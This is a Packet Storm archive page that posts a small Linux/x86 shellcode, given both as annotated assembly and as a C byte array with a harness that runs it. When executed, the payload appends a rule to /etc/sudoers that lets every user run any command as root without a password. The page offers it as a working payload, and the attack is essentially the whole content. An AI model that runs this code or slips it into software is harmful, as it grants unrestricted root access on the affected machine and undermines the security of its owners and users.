what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sudoers-shellcode.txt

sudoers-shellcode.txt
Posted Nov 19, 2008
Authored by Rick

86 byte Linux/x86 edit /etc/sudoers for full access.

tags | x86, shellcode
systems | linux
SHA-256 | 7d3c24f1326c9839b67cda1c267ce7c0840d066c32b99df5a080ae3f91c26e2f

sudoers-shellcode.txt

Change Mirror Download
/*
Author: Rick
Email: rick2600@hotmail.com

OS: Linux/x86
Description: Anyone can run sudo without password

section .text
global _start

_start:

;open("/etc/sudoers", O_WRONLY | O_APPEND);
xor eax, eax
push eax
push 0x7372656f
push 0x6475732f
push 0x6374652f
mov ebx, esp
mov cx, 0x401
mov al, 0x05
int 0x80

mov ebx, eax

;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
xor eax, eax
push eax
push 0x0a4c4c41
push 0x203a4457
push 0x53534150
push 0x4f4e2029
push 0x4c4c4128
push 0x3d4c4c41
push 0x204c4c41
mov ecx, esp
mov dl, 0x1c
mov al, 0x04
int 0x80

;close(file)
mov al, 0x06
int 0x80

;exit(0);
xor ebx, ebx
mov al, 0x01
int 0x80

*/

#include <stdio.h>
#include <string.h>

char code[] =
"\x31\xc0\x50\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64"
"\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xb0\x05"
"\xcd\x80\x89\xc3\x31\xc0\x50\x68\x41\x4c\x4c\x0a\x68"
"\x57\x44\x3a\x20\x68\x50\x41\x53\x53\x68\x29\x20\x4e"
"\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41"
"\x4c\x4c\x20\x89\xe1\xb2\x1c\xb0\x04\xcd\x80\xb0\x06"
"\xcd\x80\x31\xdb\xb0\x01\xcd\x80";

void main(void) {

void (*shellcode)() = code;
shellcode();

}

Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close